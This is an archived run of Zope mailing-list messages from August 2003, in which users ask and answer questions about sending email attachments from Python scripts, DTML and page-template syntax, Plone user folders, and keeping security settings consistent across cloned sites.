<3F4AB8B0.9070008@d-designz.co.nz> From: http://www.zopelabs.com/cookbook/992031125 dtmlMethod(context, context.REQUEST) # of if _ is bound to the (Script) Python in the bindings tab dtmlMethod(context, _) Is that what you were looking for? From gus at commonground.com.au Tue Aug 26 12:42:00 2003 From: gus at commonground.com.au (Gus Gollings) Date: Mon Aug 25 21:42:13 2003 Subject: [Zope] Send an email with attachment (from a python script) In-Reply-To: <002601c36b1f$e39ecfe0$010a10ac@museum.africamuseum.be> Message-ID: <7C29B6C3-D766-11D7-8C7D-000A959D21CA@commonground.com.au> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday, August 26, 2003, at 01:45 AM, Jean Baltus wrote: > How can I send an email with an attachment from a python script? > Right now, we are using a script that looks as follows: You need to add two new headers (MIME-Version and Content-Type) and you will need to encode the attached file as base-64 to include it into the body of your email. Notice the boundary string in the Content-Type header (it can be anything you want), and how it is prefixed with "--" when referenced in the body of the email, and how the last reference to the boundary (after the attachment) also has a suffix of '--' as well as the prefix. See an example below: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: mrstrong@mrmen.com Subject: Zope To: basil@faulty.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_===705645===_" This is a multi-part MIME message - --_===705645===_ Content-Type: text/plain; charset="ISO-8859-1"; format="flowed" Content-Transfer-Encoding: 8bit The Body Email Message - --_===705645===_ Content-Type: text/html Content-Disposition: attachment; filename="blah.html" Content-Transfer-Encoding: base64 PGJvZHk+CjxkdG1sLXZhciBwcm9qZWN0X2h0bWxfaGVhZGVyPgoKCjxoMz4KQ1JFQVRPUi1U ...several lines deleted... Pgo8L2Rpdj4KCjxkdG1sLXZhciBwcm9qZWN0X2h0bWxfZm9vdGVyPgo8L2JvZHk+ - --_===705645===_-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Hope this helps, of course you will need to add in the TAL statements at the appropriate points (for boundary, filename, Content-Type above). And I'll leave you to figure out how to encode your file as base-64 ;-) Regards, Gus - - http://commongroundgroup.com +613 9398 8000 > mailhost=context.MailHost > > mailApproval = context.mail_template(context, email=email) > > mailhost.send(mailApproval) > > ? > > where ?mail_template? is a page template that looks as follows: > > ? > > To: > > From: "" > > Subject: A Subject > > Content-Type: text/plain; charset= tal:replace="here/portal_properties/site_properties/default_charset" > /> > > ? > > BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY BODY > > ? > > Anybody has an idea to add an attachment to this? > > ? > > Regards, > > ? > > -- Jean Baltus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (Darwin) iD8DBQE/SrrsFpx6ZDMgHYARAlwCAKCdOHk+nrCGi3UtUdBEUmozCyb0RACfXT0r DiMKLIsbSuwdfk1xAYt9YEI= =5hYq -----END PGP SIGNATURE----- From gus at commonground.com.au Tue Aug 26 14:16:42 2003 From: gus at commonground.com.au (Gus Gollings) Date: Mon Aug 25 23:16:55 2003 Subject: [Zope] Replacing an unicode string In-Reply-To: <16202.31057.735754.914847@gargle.gargle.HOWL> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday, August 26, 2003, at 07:02 AM, Dieter Maurer wrote: > Florian Reiser wrote at 2003-8-25 11:24 +0200: >> I have an unicode string: >> >> text = u'ABC' >> >> Now I want to do a replacement of the string u'' to u'\u20ac' >> (this is the euro sign). >> When I type >> >> text = text.replace(u'', u'\u20ac') >> >> nothing happens, the string is still u'ABC' >> How can I replace the tag '' and insert the euro sign instead? > > Works for me: Python 2.1.3. Done in an interactive interpreter. I think the heart of the problem is not the unicode string replace, but the conversion of a double-byte character (the euro sign - ?) into ASCII: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >>> print u'\u20ac' Traceback (most recent call last): File "", line 1, in ? UnicodeError: ASCII encoding error: ordinal not in range(128) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Would it be possible to use the HTML entity for the Euro currency sign instead of a unicode string? "?" HTML Entity Values: name: € Decimal: € Hex: € Regards, Gus - - http://commongroundgroup.com +613 9398 8000 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (Darwin) iD8DBQE/StEeFpx6ZDMgHYARAmKPAKCkuk7H/TbBsbzzLwz3NMOwTsi0PwCdGdev vmFSwTJ/dcdda8It4XpN3pw= =+2WY -----END PGP SIGNATURE----- From allison at sumeru.stanford.EDU Tue Aug 26 01:03:57 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 03:06:47 2003 Subject: [Zope] Z SQL Method, ZMySQLDA, connection pooling, threads, life, the universe, and everything In-Reply-To: <16199.58442.877553.849898@gargle.gargle.HOWL> Message-ID: Dieter, Thanks for your comments, insightful as usual. For the moment I've decided to go with the simpler approach you suggest and will return to the connection pooling approachB when I have a little time. On Sun, 24 Aug 2003, Dieter Maurer wrote: > > Advice: keep it as it is now! > Just use a single DA instance and let all Z SQL Methods use this DA > instance. That should be sufficient to let MySQL reach its connection > limit (if not, increase the limit). > > > Dieter > From garry at joydiv.fsnet.co.uk Tue Aug 26 10:34:00 2003 From: garry at joydiv.fsnet.co.uk (garry saddington) Date: Tue Aug 26 04:36:24 2003 Subject: [Zope] ZopeTime Message-ID: <200308260934.00245.garry@joydiv.fsnet.co.uk> I have managed to add a NisUserFolder to my Plone site, but whenever i try to test it by logging in with an ordinary user account i get an attribute error saying Error value ZopeTime Will this happen if the server has the wrong time or is there another reason? regards garry From ralph at ezcompany.nl Tue Aug 26 13:36:38 2003 From: ralph at ezcompany.nl (Ralph vd Houdt) Date: Tue Aug 26 06:33:22 2003 Subject: [Zope] Get the text, not the result, from external_validator field Message-ID: <004f01c36bbd$ee082cd0$090da8c0@ezpc02> Hi All, For development purposes I am writing myself an overview of all my Fomulator Forms. In this overview I'm trying to print the text, not the result, of the external_validator field of a specific fomulator field. Does anyone know how to get the text of that field? I started like this and tried everything: "container['the_form'].get_field('the_field') --- how to get the external validator text ---" Greetings Ralph vd Houdt From bromden at gazeta.pl Tue Aug 26 15:50:43 2003 From: bromden at gazeta.pl (bromden) Date: Tue Aug 26 08:50:43 2003 Subject: [Zope] Send an email with attachment (from a python script) In-Reply-To: <7C29B6C3-D766-11D7-8C7D-000A959D21CA@commonground.com.au> References: <7C29B6C3-D766-11D7-8C7D-000A959D21CA@commonground.com.au> Message-ID: <3F4B57A3.4040106@gazeta.pl> > You need to add two new headers (MIME-Version and Content-Type) and you > will need to encode the attached file as base-64 to include it into the there's a MimeWriter module to handle this! http://www.python.org/doc/current/lib/module-MimeWriter.html send an email with an attachment to yourself, look over it's source and use MimeWriter -- bromden[at]gazeta.pl From brians at meetingbywire.com Mon Aug 25 21:21:03 2003 From: brians at meetingbywire.com (Brian Sullivan) Date: Tue Aug 26 10:31:33 2003 Subject: [Zope] Zope 2.6.1 and Windows Server 2003 Standard Message-ID: <20030826002115.TGTB92939.fep02-mail.bloor.is.net.cable.rogers.com@Brian> Anybody out there successfully running this combination? Installation appears to go OK but the service won't start -- any ideas where to look? From jccooper at jcameroncooper.com Mon Aug 25 18:23:31 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Tue Aug 26 10:32:06 2003 Subject: [Zope] newbie, accessing query results? In-Reply-To: <333C2598-D4B8-11D7-8F48-0050E4CE2500@earthlink.net> References: <333C2598-D4B8-11D7-8F48-0050E4CE2500@earthlink.net> Message-ID: <3F4A8C63.2080107@jcameroncooper.com> > I have the name of a file that I am passing into the page template > using my_url?fileid="foo". I then want to access the properties of > that file from within the zpt. > > my zpt looks like: > > > first_name > last_name >
> first name >
> > > > The error I get is: > Error Type: TypeError > Error Value: sequence index must be integer > > Does anyone know what I'm doing wrong? Thanks. Think carefully about types. The object you refer to with 'here/REQUEST/fileid', and thus 'dentist', is a string. You cannot say 'container/dentist/firstName' and have Zope understand that you want to use the contents of the string variable 'dentist' when what you really wrote was a path expression saying that you wanted something named 'dentist'. This as if in Python you said:: dentist = "somefilename" print someobject.dentist.property Obviously it looks for a property named 'dentist' on someobject. (Think of this in, say, Java and it becomes even more obivous.) This is what Zope does in your example, and since you don't have anything named 'dentist' in your container, it gives you a TypeError. You can get contents/attributes/properties based on the contents of a string. In Python, this means 'getattr' or element access (using square brackets). Possibly you could also use 'restrictedTraverse'. There was a great post on this not very long ago. Try to look it up. (A shell scripting language might solve this by variable expansion, such that 'container/$dentist/firstName' would do what you want. I don't believe TALES supports this sort of thing.) --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From support.faults at b-online.com.au Tue Aug 26 15:35:27 2003 From: support.faults at b-online.com.au (Support Faults) Date: Tue Aug 26 10:33:00 2003 Subject: [Zope] Python Syntax within DTML Message-ID: <000601c36b9c$3d1bfb20$7d10a8c0@bonline.com.au> Hello List. I'm having a little trouble correctly referencing python within a DTML method. I'm attempting to set some values using the dateclass class. I'm just trying to get todays date in ordinal form, so that I can perform some manipulations upon it. Do I need to use request.set or am I on the wrong tangent? Thanks in advance Julian From luislavena at hotmail.com Tue Aug 26 05:07:08 2003 From: luislavena at hotmail.com (Luis Lavena) Date: Tue Aug 26 10:33:44 2003 Subject: [Zope] 'import' directory accesible from scripting. Message-ID: Hello list, I'm currently building a webapp to be used on intranets enviroments. We have some folderish objects that contains what we call "Components" of our webapp. Some of our developers export them as zexp to be imported later at our customer running the webapp (adding functionality, like modules or plugins). We will like, instead to let our customer to access the ZMI to make the import, provide a simplified way to do the job (we already have some management screens that let the end-user remove the components or disable them). Inside this interface we will like to offer a "upload component" or something similar, so our customer just have to browse for the .zexp file we have created and include in his running webapp. Only authorized user have power to disable/remove components. The thing is that the "import" directory is not accesible locally, nor by us, nor by our customer (he run the web app form the intranet and not sitting in the zope-box). Q: Is there a way to handle the upload and import process by a product (to be created) to bypass this security? or must relly on a limited FTP server that only allow me upload information to the "import" directory? We cannot do a XML-RPC (as proposed on irc) because the webapp of our customer and our dev-box aren't directly connected (our customer don't have the zope-box connected to internet, only intranet access). Some suggestions will be really apreciated, Please excuse my poor english, is not my mother language... and I'm very tired (4AM here!) Thanks, Luis PS: Please CC your answer because I'm currently not member of this list, thanks. From tim at planetinterior.com Tue Aug 26 11:33:33 2003 From: tim at planetinterior.com (Tim Willems) Date: Tue Aug 26 10:34:24 2003 Subject: [Zope] Photo & Photofolder: broken pipe (err32) Message-ID: Hi, I'm having trouble with Photo & Photofolder. When adding new jpgs to a new or existing Photofolder I get an "err32: broken pipe" error. In ZMI I can see the thumbnail fails to generate, the actual photo however can be shown when called directly. I'm using Imagemagick but it seems Zope doesn't find it. Never had problems with the product before, but after a server crash we reinstalled everything. Something wrong installed? Incompatible versions? Please feedback, I have this thing running on production sites! Thanks a lot, Tim Met vriendelijke groet, _______________________________________________ Tim Willems - Architect Planet Interior bvba Brouwerijstraat 16 2200 Noorderwijk Belgium mob: +32 (0)496 532377 tel: +32 (0)14 279396 fax: +32 (0)14 264790 email: tim@planetinterior.com portfolio: www.planetinterior.com This email and any attached files are confidential and may be legally privileged. If you are not the intended recipient, any disclosure, reproduction, copying, distribution, or other dissemination or use of this communication is strictly prohibited. If you have received this transmission in error please notify the sender immediately and then delete this email. Email transmission cannot be guaranteed to be secure or error free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore is in no way liable for any errors or omissions in the content of this message, which may arise as a result of email transmission. If verification is required, please request a hard copy. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030826/f71ad30d/attachment.htm From ritz at itb.biologie.hu-berlin.de Tue Aug 26 11:32:13 2003 From: ritz at itb.biologie.hu-berlin.de (Raphael Ritz) Date: Tue Aug 26 10:35:07 2003 Subject: [Zope] Re: [Zope-CMF] Photo & Photofolder: broken pipe (err32) References: Message-ID: <3F4B1B0D.8050109@itb.biologie.hu-berlin.de> Tim Willems wrote: > Hi, > > I'm having trouble with Photo & Photofolder. When adding new jpgs to a > new or existing Photofolder I get an "err32: broken pipe" error. In > ZMI I can see the thumbnail fails to generate, the actual photo > however can be shown when called directly. I'm using Imagemagick but > it seems Zope doesn't find it. Never had problems with the product > before, but after a server crash we reinstalled everything. Something > wrong installed? Incompatible versions? > Please feedback, I have this thing running on production sites! > Have you checked whether PIL (Python's Image Library) has been (re)installed correctly? Raphael > > Thanks a lot, > Tim > > Met vriendelijke groet, > _______________________________________________ > Tim Willems - Architect > Planet Interior bvba > Brouwerijstraat 16 > 2200 Noorderwijk > Belgium > > mob: +32 (0)496 532377 > tel: +32 (0)14 279396 > fax: +32 (0)14 264790 > email: tim@planetinterior.com > > portfolio: www.planetinterior.com > > This email and any attached files are confidential and may be legally > privileged. If you are not the intended recipient, any disclosure, > reproduction, copying, distribution, or other dissemination or use of > this communication is strictly prohibited. If you have received this > transmission in error please notify the sender immediately and then > delete this email. Email transmission cannot be guaranteed to be > secure or error free as information could be intercepted, corrupted, > lost, destroyed, arrive late or incomplete, or contain viruses. The > sender therefore is in no way liable for any errors or omissions in > the content of this message, which may arise as a result of email > transmission. If verification is required, please request a hard copy. > > > >------------------------------------------------------------------------ > >_______________________________________________ >Zope-CMF maillist - Zope-CMF@zope.org >http://mail.zope.org/mailman/listinfo/zope-cmf > >See http://collector.zope.org/CMF for bug reports and feature requests > > From grissom at qwickconnect.net Tue Aug 26 08:00:12 2003 From: grissom at qwickconnect.net (grissom@qwickconnect.net) Date: Tue Aug 26 11:00:30 2003 Subject: [Zope] ids NameError Message-ID: All, After looking through the list for the last hour I could not find an answer to the following problem. I have a dtml form that itterates over the content of a folder and displays a checkbox next to each of the files. The form allows a user to select items to be deleted. If a user does not select a check box I get the folloewing error: Error Type: NameError Error Value: global name 'ids' is not defined This only happens when a checkbox has not been selected. here is the form calling a method:

Regards, Rob Grissom From andrew at logicalprogression.net Tue Aug 26 17:17:44 2003 From: andrew at logicalprogression.net (Andrew Veitch) Date: Tue Aug 26 11:20:27 2003 Subject: [Zope] ids NameError In-Reply-To: Message-ID: Rob - The problem isn't in the form, it's in the 'delete' method. This needs to check if 'ids' exists. If you post the 'delete' method you'll get some help on that. Andrew -- Logical Progression Ltd, 20 Forth Street, Edinburgh EH1 3LH, UK Tel: +44 (0)131 550 3733 Web: http://www.logicalprogression.net/ > From: > Date: Tue, 26 Aug 2003 07:00:12 -0700 > To: zope@zope.org > Subject: [Zope] ids NameError > > All, > > After looking through the list for the last hour I could > not find an answer to the following problem. > > I have a dtml form that itterates over the content of a > folder and displays a checkbox next to each of the files. > The form allows a user to select items to be deleted. If a > user does not select a check box I get the folloewing > error: > > Error Type: NameError > Error Value: global name 'ids' is not defined > > This only happens when a checkbox has not been selected. > > here is the form calling a method: > >
> >

> > >

> > Regards, > > Rob Grissom > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From garry at joydiv.fsnet.co.uk Tue Aug 26 17:45:44 2003 From: garry at joydiv.fsnet.co.uk (garry saddington) Date: Tue Aug 26 11:48:23 2003 Subject: [Zope] exUserFolder Message-ID: <200308261645.44923.garry@joydiv.fsnet.co.uk> I am trying to use the postgres auth method from exUserFolder with a plone site but i get an error message in the plone interface. 'global name time not defined' Does anyone know what this error is caused by please? regards garry From allison at sumeru.stanford.EDU Tue Aug 26 11:06:34 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 13:07:26 2003 Subject: [Zope] maintaining consistent security settings across cloned sites Message-ID: I'm looking for a tool that will help maintain security settings, having been burned a couple of times. What I need is: 1. A tool to traverse a site and build a database of security settings that must be set for each of the various roles. Ideally this would remove redundancies and, perhaps, raise warnings when settings look strange. 2. A tool to apply said database to a site which is similar but, perhaps, not identical in structure--that is, some extra folders(and enclosed material) might appear in one site and not in another. 3. It would be nice if the security settings database could be read and edited off-line so they could be reviewed and corrected as a unit. 4. It has to be able to handle proxies. 5. It has to be able to handle roles beyond the usual Anonymous, Authorized, Manager, and Owner. It's OK to demand that both sites have the same user defined roles. Anyone done anything like this? From pw_lists at slinkp.com Tue Aug 26 14:21:15 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 26 13:26:05 2003 Subject: [Zope] maintaining consistent security settings across cloned sites In-Reply-To: References: Message-ID: <20030826172115.GB1061@slinkp.com> On Tue, Aug 26, 2003 at 10:06:34AM -0700, Dennis Allison wrote: > > I'm looking for a tool that will help maintain security settings, having > been burned a couple of times. What I need is: > > 1. A tool to traverse a site and build a database of security settings > that must be set for each of the various roles. Ideally this would > remove redundancies and, perhaps, raise warnings when settings look > strange. > > 2. A tool to apply said database to a site which is similar but, perhaps, > not identical in structure--that is, some extra folders(and enclosed > material) might appear in one site and not in another. > > 3. It would be nice if the security settings database could be read and > edited off-line so they could be reviewed and corrected as a unit. > > 4. It has to be able to handle proxies. > > 5. It has to be able to handle roles beyond the usual Anonymous, > Authorized, Manager, and Owner. It's OK to demand that both sites have > the same user defined roles. > > Anyone done anything like this? Not me... #2 might be handled by an item on my TODO list for ZSyncer; I need to be able to independently sync and examine various features of objects: content, contained items, properties, security settings, DublinCore metadata. Also need to take all this stuff into account for comparing whether items are "in sync". Also need to provide features for viewing a comparison of each of these aspects (so you could see e.g. what security settings are different). However, your requirements 1, 3, and 4 would be out-of-scope for ZSyncer. Also, this is probably a big job and i have no idea when i'll have anything working. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE RABID SATIRE! (random hero from isometric.spaceninja.com) From tolbert at rhoworld.com Tue Aug 26 14:40:41 2003 From: tolbert at rhoworld.com (Bill Tolbert) Date: Tue Aug 26 13:43:10 2003 Subject: [Zope] zpublisher instance Message-ID: Just joined the list; be gentle with me! How do I reference a ZPublisher.HTTPRequest.FileUpload instance? I can see the content type and content length with REQUEST, so I know the file is there. I also know that the FileUpload instance is a Python file-like object. That's what I want because I want to read it. But, how do I get to the thing? Is it part of the REQUEST object? I've tried using a script and an external method but no luck. Thanks folks, Bill From allison at sumeru.stanford.EDU Tue Aug 26 11:43:45 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 13:44:12 2003 Subject: [Zope] maintaining consistent security settings across cloned sites In-Reply-To: <20030826172115.GB1061@slinkp.com> Message-ID: Paul, Thanks for the input. I hope it isn't too big a job... The problem we've seen is that the security settings don't transfer with the object. Usually that does not matter since most security settings are inherited and/or acquired. The problem lies with the few that have something special--and inevitably that breaks something. On Tue, 26 Aug 2003, Paul Winkler wrote: > On Tue, Aug 26, 2003 at 10:06:34AM -0700, Dennis Allison wrote: > > > > I'm looking for a tool that will help maintain security settings, having > > been burned a couple of times. What I need is: > > > > 1. A tool to traverse a site and build a database of security settings > > that must be set for each of the various roles. Ideally this would > > remove redundancies and, perhaps, raise warnings when settings look > > strange. > > > > 2. A tool to apply said database to a site which is similar but, perhaps, > > not identical in structure--that is, some extra folders(and enclosed > > material) might appear in one site and not in another. > > > > 3. It would be nice if the security settings database could be read and > > edited off-line so they could be reviewed and corrected as a unit. > > > > 4. It has to be able to handle proxies. > > > > 5. It has to be able to handle roles beyond the usual Anonymous, > > Authorized, Manager, and Owner. It's OK to demand that both sites have > > the same user defined roles. > > > > Anyone done anything like this? > > Not me... #2 might be handled by an item on my TODO list for ZSyncer; > I need to be able to independently sync and examine various features of objects: > content, contained items, properties, security settings, DublinCore metadata. > Also need to take all this stuff into account for comparing whether items are "in sync". > Also need to provide features for viewing a comparison of each of these aspects > (so you could see e.g. what security settings are different). > > However, your requirements 1, 3, and 4 would be out-of-scope for ZSyncer. > Also, this is probably a big job and i have no idea when i'll have anything working. > > -- > > Paul Winkler > http://www.slinkp.com > Look! Up in the sky! It's THE RABID SATIRE! > (random hero from isometric.spaceninja.com) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From pw_lists at slinkp.com Tue Aug 26 14:48:13 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 26 13:51:17 2003 Subject: [Zope] maintaining consistent security settings across cloned sites In-Reply-To: References: <20030826172115.GB1061@slinkp.com> Message-ID: <20030826174813.GC1061@slinkp.com> On Tue, Aug 26, 2003 at 10:43:45AM -0700, Dennis Allison wrote: > Paul, > > Thanks for the input. I hope it isn't too big a job... > > The problem we've seen is that the security settings don't transfer with > the object. They don't??? Are you using zsyncer or just export / import or what? Either way I'd be disturbed to learn that security settings don't transfer. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE SONIC FIGHTER! (random hero from isometric.spaceninja.com) From allison at sumeru.stanford.EDU Tue Aug 26 11:55:19 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 13:55:48 2003 Subject: [Zope] specializing folders Message-ID: I have a portion of a site which originally consisted of a single folder with content. In the reorganized site, this folder consists of a collection of folders. For specificity, the structure looks like +--A--+--A1 | +--A2 | +--A3 | Depending upon a parameter derivable from the HTTP_HOST name, I want either A1, A2, A3, or ... to behave as if it were A to all the other code in the site. Of course, A1,A2,... should be able to hold code and/or data. I would have though that some sort of local use of a VHM and or SiteAccess would allow this, but I've been unable to make it work. Any suggestions? hints? From allison at sumeru.stanford.EDU Tue Aug 26 11:59:07 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 13:59:29 2003 Subject: [Zope] maintaining consistent security settings across cloned sites In-Reply-To: <20030826174813.GC1061@slinkp.com> Message-ID: Me too! We've seen problems with the security settings after syncs. I suspect that the security settings transfer but the proxy settings don't--but that's a guess based on anecdotal evidence. When we've had a problem it's been too much of a crisis to sit back and figure out exactly what went wrong. Hence the need for a tool to allow us to audit the settings. For a site of any size, just checking the settings by hand is a prodigious job. On Tue, 26 Aug 2003, Paul Winkler wrote: > On Tue, Aug 26, 2003 at 10:43:45AM -0700, Dennis Allison wrote: > > Paul, > > > > Thanks for the input. I hope it isn't too big a job... > > > > The problem we've seen is that the security settings don't transfer with > > the object. > > They don't??? Are you using zsyncer or just export / import or what? > Either way I'd be disturbed to learn that security settings don't transfer. > > -- > > Paul Winkler > http://www.slinkp.com > Look! Up in the sky! It's THE SONIC FIGHTER! > (random hero from isometric.spaceninja.com) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From chrisw at nipltd.com Tue Aug 26 20:22:16 2003 From: chrisw at nipltd.com (Chris Withers) Date: Tue Aug 26 14:24:23 2003 Subject: [Zope] Script returning a zpt In-Reply-To: References: Message-ID: <3F4BA558.7080408@nipltd.com> Simon Faulkner wrote: > How do I return this URL from a script? > > return context.show_orders(country='France') doesn't work! In that instance, country will appear in the ZPT 'options' variable rather than the request. Code like this often works nicely: cheers, Chris From chrisw at nipltd.com Tue Aug 26 20:25:04 2003 From: chrisw at nipltd.com (Chris Withers) Date: Tue Aug 26 14:25:11 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: <3F496ED5.8040401@d-designz.co.nz> References: <3F496ED5.8040401@d-designz.co.nz> Message-ID: <3F4BA600.7000803@nipltd.com> Chris Beaven wrote: >> I dare a tangent: there are a lot of gaps in my Zope education. I can >> understand that Zope doesn't give access to os, for secur- >> ity reasons, but why is re unavailable? It's pretty easy to write an re that will infitintely loop. So, view that page 4 times and you have a totally hung Zope instance, no pretty ;-) Chris From madduck at madduck.net Tue Aug 26 21:34:05 2003 From: madduck at madduck.net (martin f krafft) Date: Tue Aug 26 14:34:17 2003 Subject: [Zope] problems with news item properties Message-ID: <20030826183405.GA8782@diamond.madduck.net> I am sending this to the general Zope list because I think this is not really CMF-specific even though it uses a type from CMFDefault: The News Item. I have a macro that does pretty much the standard news box thing (abbreviated): This macro is used by a template, which is used by a document to render itself. It works, but mostly doesn't. I can see ZCatalog returning a for each of the results. However, if I then try to use these mybrains instances the way I see e.g. Plone do it (the above is pretty much copied from Plone), it does weird things. The two news items I have created for testing purposes are named "First" and "Second", and they both have different descriptions and body texts. When I render the document (which uses a macro that uses the above macro), obj.Title seems to be "News Item" for both items, the description is empty, and CookedBody outputs the CookedBody of the document I am calling ('template') rather than the one of the object. However, looking at CMFDefault/NewsItem.py, News Item does sport 'description' and 'CookedBody', which is verified by looking at the Plone ZPTs using it that way. What is going on? The page in question is at http://tokyolectures.org, but I guess that doesn't really help a lot. Thanks, -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver! "montag, why do you burn books?" "it's a job like any other, pay is good and there is a lot of variety." -- ray bradbury (f451) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030826/6996d356/attachment.bin From SSlack at allvac.co.uk Tue Aug 26 20:59:26 2003 From: SSlack at allvac.co.uk (Slack, Stephen) Date: Tue Aug 26 15:00:03 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do Iuse? Message-ID: <9E17660F5CFE0F45BE50D766FC6C724603599D@Mail6.CC.Corp.com> Hi Paul, I have set up 3 Suse 8.0 machines with Zope. One at my office and 2 at home (Sad, I know). Two of them I managed to connect straight to by setting up a new password with the zpasswd.py script in /opt/zope/utilities on Suse. The 3rd installation was a real bind. Nothing I did seemed to cure it. My final solution was to download the latest stable version of Zope, remove the original zope package with yast and reinstall the downloaded version. The installation was dead easy. As part of the process, Zope provides the admin user and passwd. Not an ideal solution.....but it was driving me up the wall and there did not seem to be many answers anywhere, just users with the same question! One positive side to this is that I have a machine at home running the most up-to-date version :-) Downside is that I lost the ability to "rczope start". Not a big problem as there is a start script in the Zope directory. If I ever get round to it, I will copy the rczope script from one of my other machines. Hope this helps. Stephen Slack Senior System Developer Allvac Ltd -----Original Message----- From: paulporter@buffalotalks.com [mailto:paulporter@buffalotalks.com] Sent: 21 August 2003 14:51 To: zope@zope.org Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do Iuse? I've got Zope running but when I go to localhost:8080/manage I get a dialogbox wanting a user name and password. I didn't know what it was wanting so I created an "access" file using zpasswd.py but apparently it doesn't see this file because when I enter the user name and password that I put in the access file zope just regenerates the prompt dialogbox. I have made sure that I enter username/password exactly as found in the access file, I've tried copying th access file into the zope directory, that had no positive effect so I copied it into the zserver directory and that had no positive effect either. Could some kind soul please tell me how to get into Zope? Thanks for any help that might be offered. Paul _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From dieter at handshake.de Tue Aug 26 23:15:46 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 26 16:33:00 2003 Subject: [Zope] Continuation of my Trials and Tribulations with creating a ZClass Product In-Reply-To: <1061846467.3263.153.camel@blowfish.hewnix.com> References: <1061846467.3263.153.camel@blowfish.hewnix.com> Message-ID: <16203.49138.302810.747132@gargle.gargle.HOWL> Bill Hewitt wrote at 2003-8-25 14:21 -0700: > ... > but I need to know how to insert a > standard template in the Style Sheet ZClass (based on DTMLDocument) so I > dont have to edit/add the view every time I create an instance. If you really mean your ZClass, just add it in the ZClass's "Methods" tab. Dieter From dieter at handshake.de Tue Aug 26 23:25:25 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 26 16:33:49 2003 Subject: [Zope] dtml-tree behaviour In-Reply-To: References: Message-ID: <16203.49717.541006.921883@gargle.gargle.HOWL> Lee J. McAllister wrote at 2003-8-25 23:24 +0000: > Hi, I'm using the tag and I'm seeing an unexpected behaviour. > Whenever you expand or contract a position of the tree (using the plus/minus > icon) it throws me to the last page I viewed as if I'd hit the back button. Check the URL used by the "+/-" links. It is correct. The tree tag uses the value of "URL" as found via the DTML namespace to compute this URL. Dieter From dieter at handshake.de Tue Aug 26 23:26:28 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 26 16:34:30 2003 Subject: [Zope] ZopeTime In-Reply-To: <200308260934.00245.garry@joydiv.fsnet.co.uk> References: <200308260934.00245.garry@joydiv.fsnet.co.uk> Message-ID: <16203.49780.649324.811087@gargle.gargle.HOWL> garry saddington wrote at 2003-8-26 09:34 +0100: > I have managed to add a NisUserFolder to my Plone site, but whenever i try to > test it by logging in with an ordinary user account i get an attribute error > saying > Error value > ZopeTime > Will this happen if the server has the wrong time or is there another reason? This looks like a DTML object called in the wrong way (without positional arguments). Please read "Calling DTML Objects" in Dieter From dieter at handshake.de Tue Aug 26 23:20:54 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 26 16:35:30 2003 Subject: [Zope] Virtual Hosting and save forms In-Reply-To: References: Message-ID: <16203.49446.726405.358343@gargle.gargle.HOWL> Matt Hapke wrote at 2003-8-25 16:42 